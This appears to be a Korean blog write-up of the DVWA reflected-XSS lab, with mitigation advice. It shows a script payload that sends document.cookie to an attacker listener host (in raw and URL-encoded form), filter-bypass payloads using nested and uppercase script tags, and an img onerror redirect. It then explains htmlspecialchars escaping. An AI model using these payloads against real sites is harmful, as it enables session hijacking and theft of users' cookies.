XSS(Reflected)

2023. 8. 18. 13:37보안/DVWA

XSS(Reflected)

사용자의 입력이 웹 애플리케이션에 반사되어 스크립트가 실행되는 경우이다. 주로 링크나 URL 매개 변수를 통해 발생하며, 사용자가 악의적인 링크를 클릭하거나 악의적인 URL을 요청할 때 스크립트가 실행된다.

 

 

실습

Low 레벨을 도전해보자!

이름을 입력하기 전 burp suit의 intercept 기능을 on으로 켠다

 

 

쿠키 정보를 띄우도록 조작

 

 

확인

 

 

이번에는 칼리에서 쿠키 정보를 받아보자!

log를 지속적으로 확인도록 명령어 입력

 

 

<script>document.location='http://192.168.2.14/cookie?'+document.cookie</script>

와 같은 명령어를 구글에서 url 인코딩하면 아래와 같이 얻을 수 있다.

 

%3cscript%3edocument.location%3d%27http%3a%2f%2f192.168.2.14%2fcookie%3f%27%2bdocument.cookie%3c%2fscript%3e

 

intercept 기능을 on으로 켜고, name 부분에 인코딩한 정보를 기입하고 Forward 한다.

조작 완료

 

 

쿠키 정보를 아래와 같이 얻을 수 있다. 이것도  Forward 한다.

얻은 쿠키 정보

 

 

새로 뜬 로그에서 쿠키 정보를 확인할 수 있다.

 

 

medium 레벨도 도전해보자!

소스코드를 보니 치환되도록 코딩했다

 

 

<scr<script>ipt>alert(1)</sc<script>ript>

와 같이 입력하면 치환 후 alert(1)이 실행되므로 아래와 같이 결과를 얻을 수 있다.

확인

 

 

다른 방법으로 대문자를 이용할 수도 있다.

<SCRIPT>alert(1)</SCRIPT>

와 같이 입력하면 동일하게 결과를 확인할 수 있다.

확인

 

 

high 레벨은 역시 어렵지만 도전해보자.

소스코드를 보니 앞에서 한 방법은 모두 막히도록 코딩됐다

 

 

정규식으로 입력값을 검증하고 있는 경우 우회함수를 사용할 수 있다. 우회함수 중에서도 xss cheat sheet를 사용하려고 한다. 구글에서 다양한 우회함수들을 확인할 수 있는 확인해봐도 좋을 것 같다.

파일 hacked.php 생성

 

 

파일에서 마지막 줄인 <img src=x onerror=window.location.assign("http://127.0.0.1/hacked.php")> 을 입력해보자

 

 

정규식을 우회하여 원하는 페이지로 리다이렉트 됐다!

 

 

<img src=x onerror=window.location.assign("http://127.0.0.1/hacked.php")>에서 onerror 함수는 이미지 로드에 오류가 발생하면 지정된 JavaScript 코드가 실행되도록 한다. 'x'는 scr의 이미지 경로가 될 수 없으므로 항상 오류가 발생하고, 결과적으로 생성해 둔 파일이 리다이렉트 될 수 밖에 없도록 한 것이다.

 

 

이러한 조치에는 htmlspecialchars()와 htmlentities() 함수를 사용할 수 있다.

 

 

htmlspecialchars()와 htmlentities() 함수는 PHP에서 문자열을 안전하게 HTML로 출력할 때 사용되는 함수이다. 이 함수들은 특수 문자를 HTML 엔티티로 변환하여 사용자가 입력한 내용을 그대로 출력할 때 발생할 수 있는 XSS 공격과 같은 보안 문제를 방지하기 위해 사용된다.

 

아래에 제시된 엔티티들은 주로 이러한 함수들을 사용하여 변환되는 특수 문자에 대한 예시이다.

&quot; : 이스케이프된 쌍따옴표 (") 문자를 나타낸다.
&#039; : 이스케이프된 작은따옴표 (') 문자를 나타낸다.
&amp; : 이스케이프된 앰퍼샌드 (&) 문자를 나타낸다.
&lt; : 이스케이프된 작은 부등호 (<) 문자를 나타낸다.
&gt; : 이스케이프된 큰 부등호 (>) 문자를 나타낸다.

 

이러한 HTML 엔티티는 브라우저가 웹 페이지를 렌더링할 때 특수 문자를 그대로 출력하는 대신 해당 문자의 의미에 맞게 해석한다. 이를 통해 사용자가 입력한 내용이 잠재적인 스크립트나 악의적인 코드로 해석되는 것을 방지할 수 있다.

 

 

impossible 레벨에서 아래 스크샷과 같이 htmlspecialchars() 함수를 사용했음을 알 수 있다.

impossible 레벨 소스 코드

'보안 > DVWA' 카테고리의 다른 글

SQL Injection(Blind)  (0) 2023.08.18
XSS(Stored)  (0) 2023.08.18
SQL Injection  (0) 2023.08.17
File Upload  (0) 2023.08.17
File Inclusion  (0) 2023.08.17